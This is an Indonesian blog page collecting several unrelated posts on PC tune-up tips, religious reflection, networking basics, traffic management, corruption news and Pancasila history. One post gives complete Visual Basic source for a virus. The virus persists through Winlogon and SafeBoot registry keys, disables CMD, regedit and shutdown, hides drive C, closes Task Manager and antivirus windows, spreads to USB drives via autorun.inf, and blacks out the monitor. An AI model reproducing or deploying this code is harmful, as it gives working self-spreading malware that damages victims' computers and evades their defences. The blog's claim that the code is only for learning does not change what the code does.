0 cara membuat laptop tidak macet - macetan ( not responding )

Sebagai pengguna komputer tentunya kita menginginkan mempunyai komputer yang mempunyai kinerja optimal, cepat dan stabil. Saya menyebutnya “komputer anti lelet”.  Dalam artikel perdana ini saya ingin berbagi pengalaman dengan pembaca blog TegaL-Chyber tentang bagaimana cara membuat komputer anti lelet dengan melakukan beberapa perawatan dan tune up sederhana terhadap komputer untuk meningkatkan kinerja windows.
Sebelum membuat komputer anti lelet, sebaiknya kita mengetahui terlebih dahulu beberapa hal yang menyebabkan performa komputer kita lambat, sering hang bahkan muncul berbagai error yang meyebabkan komputer crash sehingga tidak nyaman lagi digunakan.   Beberapa hal paling umum yang dapat menyebabkan masalah pada komputer sehingga komputer kita terasa lelet kita diantaranya adalah:

1. Mengabaikan Minimum Hardware Requirements, ketika menginstal  suatu aplikasi.
   Semua software / aplikasi mempunyai spesifikasi minimal hardware komputer yang diperlukan agar aplikasi tersebut dapat berjalan normal.  Dan kita ingat itu adalah spesifikasi minimal , jadi agar aplikasi tersebut bisa berjalan optimal spesifikasi komputer kita harus lebih tinggi dari system requirement  aplikasi tersebut.
2. Overheating pada komponen hardware, beberapa komponen hardware yang sering terjadi overheat adalah Processor, Mainboard, VGA Card dan Power Supply. Overheat pada komponen hardware tersebut bisanya terjadi  karena tidak optimalnya kerja system pendingin (misalnya fan Processor),  komputer ditempatkan di ruangan yang memang mempunyai temperatur cukup tinggi atau bisa juga karena komputer yang dioperasikan 24 jam nonstop.
3. Live time, hardware komputer juga tidak bisa melawan usia, terutama untuk komponen kapasitor pada mainboard dan hardisk. Secara umum komputer yang telah beroperasi diatas 5 tahun sudah saatnya diupgrade atau diganti baru.
4. Terlalu banyak software yang diinstall, banyak proses yang berjalan di background, terdapat virus, malware dan spyware yang memakan resource Processor dan Memory yang pada akhirnya dapat menyebabkan komputer kita terasa sangat lelet.

Setelah kita mengetahui beberapa penyebab umum komputer menjadi lelet, maka saatnyalah sekarang kita mempersiapkan  dan melakukan beberapa langkah tune up windows untuk membuat komputer anti lelet.

1. Ketahui spesifikasi komputer kita, jangan ragu untuk meng-upgrade komponen terutama untuk RAM yang masih dibawah 1 GB.  Apabila anda berminat membeli komputer baru, menurut saya spesifikasi minimal saat ini adalah komputer sekelas Intel Core 2 Duo, RAM DDR3 2 GHz,  Hardisk SATA 250 GB dan 530 Watt Power Supply.
2. Bersihkan komponen hardware, buka casing CPU dan bersihkan debu yang menempel pada mainboard, fan dan peripheral lainya dengan menggunakan sikat halus dan vacum cleaner.
3. Bila memang spek komputer kita pas-pasang instal-lah program yang benar-benar diperlukan saja. Ada baiknya juga untuk menggunakan program alternative yang mempunyai ukuran kecil dan tidak memakan banyak resource, diantaranya adalah:
   • Open Office,  untuk membuka dan mengedit dokumen
   • Foxit Reader, untuk membaca dokumen PDF
   • Opera Mini, untuk browsing  lebih cepat dan aman
   • 7 Zip untuk membuat dan membuka file kompresi
   • VLC Media Player untuk menjalankan file multimedia
4. Bersihkan komputer dari virus, spyware dan malware dengan virus scanner seperti misalnya Norman Malware Cleaner, lalu install antivirus yang tidak memberatkan komputer, saya sendiri menggunakan avast free antivirus dan pastikan selalu update.
5. Disable Automatic Update pada windows, sebagai gantinya download security update dan hotfix terbaru menggunakan Windows Update Downloader dari windowsupdatesdownloader.com
   
6. Disable windows services yang tidak digunakan, caranya adalah sbb:
   • Klik start – run – ketik: services.msc
   • Double klik pada service yang tidak dipakai, pada pilihan start up type pilih disable
   • Beberapa service windows yang bisaanya tidak terpakai diantaranya : Alerter, Clipbook, Distributed Link Tracking Client, Fast User Switching, Help and Support , Indexing Service, IPSEC Services,  Netmeeting Remote Desktop Sharing,  Portable Media Serial Number,  Remote Desktop Help Session Manager, Remote Procedure Call Locator, Remote Registry, Remote Registry Service, Secondary Logon, Routing & Remote Access, Server,  SSDP Discovery Service , Telnet,  TCP/IP NetBIOS Helper,  Upload Manager, Universal Plug and Play Device Host, Wireless Zero Configuration (bagi yang tidak menggunakan wireless device).  Untuk komputer yang tidak terhubung ke jaringan disable juga
     komputer Browser, Messenger, Windows Time .
     
7. Matikan beberapa aplikasi yang berjalan otomatis saat windows startup. Saya menggunakan tools Start Up Control Panel untuk mengontrol program apa saja yang perlu atau tidak perlu di load saat windows start up. Download programnya di www.mlin.net/StartupCPL.shtml, lalu jalankan dan disable beberapa service yang tidak diperlukan
   
8. Matikan System Restore pada beberapa partisi atau keseluruhan drive. Selain dapat meningkatkan kecepatan windows, mendisable fitur ini akan menghindari  boomerang yang terjadi karena adanya virus yang bercokol di file-file restore point.
   • Caranya: klik kanan icon My komputer – klik Properties – klik tab System Restore – check  Turn off system restore 
9. Bersihkan desktop dari shortcut dan file yang tidak sering terpakai. Untuk menyimpan file data sebaiknya simpan di folder atau drive tersendiri. Gunakan wallpaper yang tidak memakan banyak resource memory atau gunakan saja background warna pada tampilan desktop.
10. Atur Visual Effects for Better Performance,
    • Caranya: klik kanan My komputer – klik Properties – klik tab Advance – pada menu Performance pilih setting,
      pada tab visual effect pilih Adjust for best Performance.
      
11. Bersihkan temporary file yang ada dilokasi C:Documents and Settings-namauser-Local Settings-Temp dan C:Windows-Temp
12. Jalankan Disk Cleanup Wizard untuk meng-compress old file dan membersihkan file-file yang tidak diperlukan.
    • Caranya klik start – run – ketik : cleanmgr 
13. Jalankan Disk Defragmenter secara teratur untuk merapikan kembali data-data yang tersimpan pada hardisk.
    • Caranya klik start – run – ketik : dfrg.msc
14. Jalankan tools Checkdisk untuk memastikan struktur file dan direktory pada hardisk bebas dari error.
    • Caranya : Buka Windows Explorer, Klik kanan pada hardisk yang aka di scan, pilihProperties,  pilih tab Tools, pilih Error Checking, klik Check Now.
    • check Automatically fix file system errors dan Scan for and attempt recovery of bad sector
15. Install ulang Windows dan Aplikasi.  Apabila dirasa komputer sudah terlalu banyak masalah, inilah jurus terakhir yang dapat kita lakukan untuk membuat komputer kita kembali ke performa awal, selamatkan semua data ke partisi atau hardisk yang lain lalu mulai lagi semuanya dari awal, reinstall Windows dan program aplikasi lainnya.

Demikianlah sedikit cara perawatan dan tune up windows untuk membuat komputer kita selalu bekerja optimal alias anti lelet.  Dalam artikel ini saya masih menggunakan sistem operasi Windows XP, meskipun beberapa tips diatas pada prinsipnya dapat juga diterapkan pada OS yang lain.
Semoga bermanfaat!

0 Kepahlawanan

Seseorang tidak menjadi pahlawan karena ia melakukan pekerjaan-pekerjaan kepahlawanan sepanjang hidupnya. Kepahlawanan seseorang biasanya mempunyai momentumnya. Ada potongan waktu tertentu dalam hidup seseorang dimana anasir kepahlawanan menyatu padu. Saat itulah ia tersejarahkan.

Akan tetapi, kita tidak mengetahui kapan datangnya momentum itu. Yaitu, kematangan pribadi dan peluang sejarah. Simaklah firman Allah SWT, “Dan setelah Musa cukup umur dan sempurna akalnya, Kami berikan kepadanya hikmah (kenabian) dan pengetahuan....” (Al-Qashash: 14)

Usaha manusiawi yang dapat kita lakukan adalah mempercepat saat-saat kematangan pribadi kita. Ini jenis kerja kapitalisasi asset kesejarahan personal kita. Yang kita lakukan di sini adalah mengumpulkan sebanyak mungkin potensi dalam diri kita, mengolahnya, dan kemudian mengkristalisasikannya. Dengan cara ini, kita memperluas “ruangan keserbamungkinan” dan sedikitnya membantu kita menciptakan peluang sejarah. Atau, setidaknya mengantar kita untuk berdiri dipintu gerbang sejarah.

Para pahlawan mukmin sejati tidak pernah mempersoalkan secara berlebihan masalah peluang sejarah. Kematangan pribadi seperti modal dalam infestasi. Seperti apapun baiknya peluang anda, hal itu tidak berguna jika pada dasarnya Anda memang tidak punya modal. Peluang sejarah hanyalah ledakan keharmonisan dari kematangan yang terabaikan. Seperti keharmonisan antara pedang dan keberanian dalan medan perang, antara kecerdasan dan pendidikan formal dalam dunia ilmu pengetahuan. Akan tetapi, anda harus memilih salah satunya, maka pilihlah keberanian tanpa pedang dalam perang, atau kecerdasan tanpa pendidikan formal dalam ilmu. Selebihnya, biarlah itu menjadi wilayah takdir dimana anda mengharap datangnya sentuhan keberuntungan.

Kesadaran semacam ini mempunyai dampak karakter yang sangat mendasar. Para pahlawan mukmin sejati bukanlah pemimpi di siang bolong, atau orang-orang yang berdoa dalam kekosongan dan ketidakberdayaan. Mereka adalah para petani yang berdoa ditengah sawah, para pedagang yang berdoa ditengah kecamuk perang. Mereka mempunyai mimpi besar, tetapi pikiran mereka tercurahkan sepenuhnya pada kerja. Sekali-kali mereka menatap langit untuk menyegarkan ingatan pada misi mereka. Namun, setelah itu mereka menyeka keringat dan kembali bekerja kembali.

Wilayah kerja adalah lingkungan realitas, sedangkan wilayah peluang adalah ruang keserbamungkinan. Semakin luas pijakan kaki kita dalam lingkaran kenyataan, semakin besar kemungkinan menjadi kepastian, mengubah peluang menjadi pekerjaan, mengubah mimpi menjadi kenyataan.

0 Ulangan blogger

INTERNET
 Internet yang berasal dari kata Interconnection Networking yang mempunyai arti hubungan komputer dengan berbagai tipe yang membentuk sistem jaringan yang mencakup seluruh dunia (jaringan komputer global) dengan melalui jalur telekomunikasi seperti telepon, radio link, satelit dan lainnya.

Dalam mengatur integrasi dan komunikasi jaringan komputer ini digunakan protokol yaitu TCP/IP. TCP (Transmission Control Protocol) bertugas memastikan bahwa semua hubungan bekerja dengan benar, sedangkan IP (Internet Protocol) yang mentransmisikan data dari satu komputer ke komputer lain. TPC/IP secara umum berfungsi memilih rute terbaik transmisi data, memilih rute alternatif jika suatu rute tidak dapat di gunakan, mengatur dan mengirimkan paket-paket pengiriman data.

Untuk dapat ikut serta menggunakan fasilitas Internet, biasanya Anda harus berlangganan ke salah satu ISP (Internet Service Provider) yang ada di kota Anda. ISP ini biasanya disebut penyelenggara jasa internet ataupun Anda dapat menggunakan fasilitas dari Telkom yakni Telkomnet Instan.

Dengan memanfaatkan internet, pemakaian komputer di seluruh dunia dimungkinkan untuk salingberkomunikasi dan pemakaian bersama informasi dengan cara saling kirim e-mail, menghubungkan ke komputer lain, mengirim dan menerima file, membahas topik tertentu pada newsgroup dan lain-lain.

INTRANET

Intranet adalah sebuah jaringan komputer berbasis protokol TCP/IP seperti internet hanya saja digunakan dalam internal perusahaan, kantor, bahkan warung internet (WARNET) pun dapat di kategorikan Intranet. Antar Intranet dapat saling berkomunikasi satu dengan yang lainnya melalui sambungan Internet yang memberikan tulang punggung komunikasi jarak jauh. Akan tetapi sebetulnya sebuah Intranet tidak perlu sambungan luar ke Internet untuk berfungsi secara benar. Intranet menggunakan semua protocol TCP/IP Protokol TCP/IP, alamat IP, dan protokol lainnya), klien dan juga server. Protokol HTTP dan beberapa protokol Internet lainnya (FTP, POP3, atau SMTP) umumnya merupakan komponen protokol yang sering digunakan. sebuah intranet dapat dipahami sebagai sebuah "versi pribadi dari jaringan Internet", atau sebagai sebuah versi dari Internet yang dimiliki oleh sebuah organisasi.

0 Lalu lintas

Komponen lalu lintas

Komponen sistem lalu lintas

Ada tiga komponen terjadinya lalu lintas yaitu manusia sebagai pengguna, kendaraan dan jalan yang saling berinteraksi dalam pergerakan kendaraan yang memenuhi persyaratan kelaikan dikemudikan oleh pengemudi mengikuti aturan lalu lintas yang ditetapkan berdasarkan peraturan perundangan yang menyangkut lalu lintas dan angkutan jalan melalui jalan yang memenuhi persyaratan geometrik.

Manusia sebagai pengguna

Manusia sebagai pengguna dapat berperan sebagai pengemudi atau pejalan kaki yang dalam keadaan normal mempunyai kemampuan dan kesiagaan yang berbeda-beda (waktu reaksi, konsentrasi dll). Perbedaan-perbedaan tersebut masih dipengaruhi oleh keadaan phisik dan psykologi, umur serta jenis kelamin dan pengaruh-pengaruh luar seperti cuaca, penerangan/lampu jalan dan tata ruang.

Kendaraan

Kendaraan digunakan oleh pengemudi mempunyai karakteristik yang berkaitan dengan kecepatan, percepatan, perlambatan, dimensi dan muatan yang membutuhkan ruang lalu lintas yang secukupnya untuk bisa bermanuver dalam lalu lintas.

Jalan

Jalan merupakan lintasan yang direncanakan untuk dilalui kendaraan bermotor maupun kendaraan tidak bermotor termasuk pejalan kaki. Jalan tersebut direncanakan untuk mampu mengalirkan aliran lalu lintas dengan lancar dan mampu mendukung beban muatan sumbu kendaraan serta aman, sehingga dapat meredam angka kecelakaan lalu-lintas.

Manajemen Lalu Lintas

Manajemen lalu lintas meliputi kegiatan perencanaan, pengaturan, pengawasan, dan pengendalian lalu lintas. Manajemen lalu lintas bertujuan untuk keselamatan, keamanan, ketertiban, dan kelancaran lalu lintas, dan dilakukan antara lain dengan :
a. usaha peningkatan kapasitas jalan ruas, persimpangan, dan/atau jaringan jalan;
b. pemberian prioritas bagi jenis kendaraan atau pemakai jalan tertentu;
c. penyesuaian antara permintaan perjalanan dengan tingkat pelayanan tertentu dengan mempertimbangkan keterpaduan intra dan antar moda;
d. penetapan sirkulasi lalu lintas, larangan dan/atau perintah bagi pemakai jalan.

Kegiatan perencanaan lalu lintas

Kegiatan perencanaan lalu lintas meliputi inventarisasi dan evaluasi tingkat pelayanan. Maksud inventarisasi antara lain untuk mengetahui tingkat pelayanan pada setiap ruas jalan dan persimpangan. Maksud tingkat pelayanan dalam ketentuan ini adalah merupakan kemampuan ruas jalan dan persimpangan untuk menampung lalu lintas dengan tetap memperhatikan faktor kecepatan dan keselamatan. penetapan tingkat pelayanan yang diinginkan. Dalam menentukan tingkat pelayanan yang diinginkan dilakukan antara lain dengan memperhatikan : rencana umum jaringan transportasi jalan; peranan, kapasitas, dan karakteristik jalan, kelas jalan, karakteristik lalu lintas, aspek lingkungan, aspek sosial dan ekonomi.penetapan pemecahan permasalahan lalu lintas, penyusunan rencana dan program pelaksanaan perwujudannya. Maksud rencana dan program perwujudan dalam ketentuan ini antara lain meliputi: penentuan tingkat pelayanan yang diinginkan pada setiap ruas jalan dan persimpangan, usulan aturan-aturan lalu lintas yang akan ditetapkan pada setiap ruas jalan dan persimpangan, usulan pengadaan dan pemasangan serta pemeliharaan rambu rambu lalu lintas marka jalan, alat pemberi isyarat lalu lintas, dan alat pengendali dan pengaman pemakai jalan; usulan kegiatan atau tindakan baik untuk keperluan penyusunan usulan maupun penyuluhan kepada masyarakat.

0 Upaya Pemberantasan Korupsi di Indonesia Masih Buruk

JAKARTA - Genderang perang terhadap tindak pidana korupsi telah ditabuh Presiden Susilo Bambang Yudhoyono (SBY) sejak lama. Namun, berdasarkan data Transparency International Indonesia masalah korupsi tak teratasi dengan baik dan menempatkan Indonesia di peringkat 100 dari 183 negara pada 2011 dalam Indeks Persepsi Korupsi.

Artinya, tidak ada perubahan signifikan yang terjadi dalam pemberantasan korupsi di Indonesia. Persepsi tersebut rupanya diamini oleh 71 persen responden MNC Media Research di 10 kota di Indonesia.

"Secara khusus, responden di Jayapura paling banyak yang menyatakan upaya Pemerintah memberantas korupsi buruk, sebanyak 80 persen, disusul oleh responden di Jakarta sebanyak 74 persen, Surabaya dengan 71 persen, dan Medan ada 70 persen," tulis MNC Media Research Polling kepada Okezone, Minggu (5/8/2012).

Hasil polling terhadap 1.103 responden yang berusia 17 tahun ke atas menunjukkan bahwa masyarakat pesimis terhadap penuntasan kasus-kasus korupsi di Indonesia, terlebih ketika penanganan kasus-kasus korupsi oleh aparat penegak hukum seolah hanya sebuah sandiwara politik semata.

Dugaan tentang sulitnya memberantas korupsi berskala kecil hingga besar, di daerah hingga pusat, adalah ‘menempelnya' nama-nama besar dalam kasus-kasus korupsi tersebut. Misalnya, kasus mafia pajak Gayus Tambunan, skandal Bank Century, penyelewengan dana BLBI, dan Hambalang.

Tak hanya itu, kasus korupsi di daerah berdasarkan data Kemendagri, sepanjang 2004 hingga 2012, ada 2.976 anggota DPRD Tingkat I dan DPRD Tingkat II yang terlibat kasus kriminal.

"Di antara kasus-kasus tersebut, kasus korupsi adalah kasus terbanyak dengan jumlah 349 kasus atau 33,2 persen. Sepanjang periode itu pula, sebanyak 155 kasus korupsi melibatkan kepala daerah. Sementara itu, KPK baru menyelesaikan 37 dari 155 kasus yang ada," lanjut data MNC Media Research Polling.

Walaupun, akhir-akhir ini KPK terlihat begitu gencar membongkar kasus-kasus korupsi baru, seperti kasus korupsi Alquran, kasus suap Bupati Buol, hingga kasus terbaru yang menggegerkan publik yaitu kasus korupsi alat simulator SIM dengan tersangka jenderal bintang dua Polri, namun tak berarti serta merta dapat meningkatkan kepercayaan publik bahwa kasus-kasus ini pun akan tuntas ditangani oleh pemerintah.

"Terlebih bila pemerintah dan lembaga penegak hukum justru merupakan pelaku korupsi. Sudah seharusnya, perang melawan korupsi menjadi program nasional, bukan masalah untuk spekulasi politik, obyek laporan populis, eksploitasi politik, atau tujuan jangka pendek kampanye," simpulnya.

1 MEMBUAT VIRUS YANG MEMATIKAN MONITOR

Virus adalah sebuah program yang berfungsi atau dibuat untuk merusak komputer. tetapi disini saya hanya mengajari bagaimana cara membuat program perusak tersebut. tapi ini jangan dijadikan senjata untuk merusak komputer orang lain, hanya untuk mempelajari bagaimana cara kerja virus dan cara dia menyearkan diri sehingga kita bisa untuk mengantisipasinya.
1. Buat sebuah project dengan standart EXE
2. masukan sebuah Timer dan sebuah Label kedalam project tersebut.
3. Ketikan listing program dibawah ini. untuk memudahkan anda, anda bisa mengcopynya langsung kedalam project yang andah buat tadi.
Listing Programnuya sebagai berikut:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File
Private Declare Function GetDriveType& Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk
Const SC_MONITORPOWER = &HF170&
Const MONITOR_ON = -1&
Const MONITOR_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Const WM_CLOSE = &H10

Option Explicit
Dim FWnd
Dim i As Integer
Dim RegRun
Dim FolderMyDocuments
Dim FolderFavorites
Dim FolderWindows
Dim FlashDisk
Dim Ttd, Td, Thd, D As Integer

Private Sub aktif()
On Error Resume Next
Randomize
Me.Caption = Int(Rnd * 2221189331445#)
GandakefolderIstimewa
InfeksiRegistry
MsgBox "Hy adek sanak, aQ datang untuk kalian segalonyo, terimo kasih y lah ndx bekawan" & vbCrLf & "Dalam 30 Detik Monitor kw mati", "Salam Kenal"
End Sub
Sub InfeksiRegistry()
‘Membuat pertahanan dan penginfeksian virus
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderMyDocuments & "\Winlog0n.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" & " """ & FolderWindows & "\Winlgo0n1.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites & "\Winlgo0nn.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang
RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites & "\cssz.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus cssz.exe yang terletak di Folder Favorite
RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang
RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB
RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\advanced\Start_ShowControlPanel", 0, "REG_DWORD"
End Sub
Sub GandaKeFlashDisk()
‘menyebarkan virus ke flasdisk pada saat flasdisk tercolok ke komputer
On Error Resume Next
If Dir(FlashDisk & "\Winlog0n.exe") <> "Winlog0n.exe" Then 'mengecek ada atau tdknya Winlog0n.exe di flashdisk jika tdk ada kemudian
FileCopy FolderMyDocuments & "\Winlog0n.exe", FlashDisk & "\Winlog0n.exe"
SetAttr FlashDisk & "\Winlog0n.exe", vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
Open FlashDisk & "\Autorun.Inf" For Output As 1
Print #1, "[AutoRun]"
Print #1, "ACtIon=Open folder to view files"
Print #1, "Icon=Winlog0n.exe"
Print #1, "Open=Winlog0n.exe"
Print #1, "Open=Winlgo0nn.exe"
Print #1, "ShellExecute=Winlog0n.exe"
Print #1, "ShellExecute=Winlgo0nn.exe"
Print #1, "Shell\Open\Command=Winlog0n.exe"
Print #1, "sheLl\oPen\DefAulT=1"
Print #1, "shELl\opeN\cOmManD= Winlog0n.exe"
Print #1, "Shell=Open"
Print #1, "shell\ExplorE\COMmANd=Winlgo0nn.exe"
Print #1, "uSEAuToPLaY = 1"
Print #1, "SHell\autopLAy\commAND=Winlog0n.exe"
Print #1, "SHell\autopLAy\commAND=Winlgo0nn.exe"
Close #1
SetAttr FlashDisk & "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
Set RegRun = CreateObject("WScript.Shell")
FolderMyDocuments = RegRun.specialfolders("MyDocuments")
FolderFavorites = RegRun.specialfolders("Favorites")
FolderWindows = RegRun.specialfolder("Windows")
'membuat virus dengan nama hay.exe
On Error Resume Next
'membuat virus dengan nama Winlog0n.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderMyDocuments & "\Winlog0n.exe"
SetAttr FolderMyDocuments & "\Winlog0n.exe", vbHidden + vbSystem + vbReadOnly
'membuat file Winlgo0nn.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderFavorites & "\Winlgo0nn.Exe"
SetAttr FolderFavorites & "\Winlgo0nn.exe", vbHidden + vbSystem + vbReadOnly
'membuat virus dengan nama Winlgo0n1.exe
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderWindows & "\Winlgo0n1.Exe"
SetAttr FolderWindows & "\Winlgo0n1.exe", vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Tutup()
‘menutup aplikasi yang membahayakan virus
On Error Resume Next
FWnd = FindWindow("#32770", "RUN") 'jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "System Configuration Utility") 'msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Windows Task Manager") 'task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "Avira AntiVir Personal - Free Antivirus") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("#32770", "AntiVir Guard: Attention, Detection!") 'Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow("RegEdit_RegEdit", vbNullString) 'regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
InfeksiRegistry
End Sub
Private Sub mati()
‘mematikan monitor pengguna
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFF
End Sub
Private Sub Form_Load()
GandakefolderIstimewa
InfeksiRegistry
GandaKeFlashDisk
Tutup
aktif
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Timer1_Timer()
Tutup
Ttd = Ttd + 1
Thd = Ttd Mod 60
Td = Int(Ttd / 60)
D = Td Mod 60
Label1.Caption = D
If D = 30 Then
Me.Visible = False
mati
End If
End Sub
Virus siap dijalankan. eit……hati-hati karena virus ini cukup berbahaya, karena monitor tidak berfungsi untuk menampilkan data(Alias monitor dalam keadaan layar hitam)
Ini hanya sekedar pelajaran, jangan disalahgunakan.
semoga bermanfaat………

0 Lahirnya Pancasila

Lahirnya Pancasila adalah judul pidato yang disampaikan oleh Soekarno dalam sidang Dokuritsu Junbi Cosakai (bahasa Indonesia: "Badan Penyelidik Usaha Persiapan Kemerdekaan") pada tanggal 1 Juni 1945. Dalam pidato inilah konsep dan rumusan awal "Pancasila" pertama kali dikemukakan oleh Soekarno sebagai dasar negara Indonesia merdeka. Pidato ini pada awalnya disampaikan oleh Soekarno secara aklamasi tanpa judul dan baru mendapat sebutan "Lahirnya Pancasila" oleh mantan Ketua BPUPK Dr. Radjiman Wedyodiningrat dalam kata pengantar buku yang berisi pidato yang kemudian dibukukan oleh BPUPK tersebut.

Latar belakang

Gedung Chuo Sangi In di Jakarta yang digunakan sebagai gedung Volksraad di tahun 1925.

Menjelang kekalahan Tentara Kekaisaran Jepang di akhir Perang Pasifik, tentara pendudukan Jepang di Indonesia berusaha menarik dukungan rakyat Indonesia dengan membentuk Dokuritsu Junbi Cosakai (bahasa Indonesia: "Badan Penyelidik Usaha Persiapan Kemerdekaan" atau BPUPK, yang kemudian menjadi BPUPKI, dengan tambahan "Indonesia").
Badan ini mengadakan sidangnya yang pertama dari tanggal 29 Mei (yang nantinya selesai tanggal 1 Juni 1945).Rapat dibuka pada tanggal 28 Mei 1945 dan pembahasan dimulai keesokan harinya 29 Mei 1945 dengan tema dasar negara. Rapat pertama ini diadakan di gedung Chuo Sangi In di Jalan Pejambon 6 Jakarta yang kini dikenal dengan sebutan Gedung Pancasila. Pada zaman Belanda, gedung tersebut merupakan gedung Volksraad (bahasa Indonesia: "Perwakilan Rakyat").
Setelah beberapa hari tidak mendapat titik terang, pada tanggal 1 Juni 1945, Bung Karno mendapat giliran untuk menyampaikan gagasannya tentang dasar negara Indonesia merdeka, yang dinamakannya "Pancasila". Pidato yang tidak dipersiapkan secara tertulis terlebih dahulu itu diterima secara aklamasi oleh segenap anggota Dokuritsu Junbi Cosakai.
Selanjutnya Dokuritsu Junbi Cosakai membentuk Panitia Kecil untuk merumuskan dan menyusun Undang-Undang Dasar dengan berpedoman pada pidato Bung Karno tersebut. Dibentuklah Panitia Sembilan (terdiri dari Ir. Soekarno, Mohammad Hatta, Mr. AA Maramis, Abikoesno Tjokrosoejoso, Abdul Kahar Muzakir, Agus Salim, Achmad Soebardjo, Wahid Hasjim, dan Mohammad Yamin) yang ditugaskan untuk merumuskan kembali Pancasila sebagai Dasar Negara berdasar pidato yang diucapkan Bung Karno pada tanggal 1 Juni 1945, dan menjadikan dokumen tersebut sebagai teks untuk memproklamasikan kemerdekaan Indonesia.
Seltelah melalui proses persidangan dan lobi-lobi akhirnya rumusan Pancasila hasil penggalian Bung Karno tersebut berhasil dirumuskan untuk dicantumkan dalam Mukadimah Undang-Undang Dasar 1945, yang disahkan dan dinyatakan sah sebagai dasar negara Indonesia merdeka pada tanggal 18 Agustus 1945 oleh BPUPKI. ^[1]
Dalam kata pengantar atas dibukukannya pidato tersebut, yang untuk pertama kali terbit pada tahun 1947, mantan Ketua BPUPK Dr. Radjiman Wedyodiningrat menyebut pidato Ir. Soekarno itu berisi “Lahirnya Pancasila”.
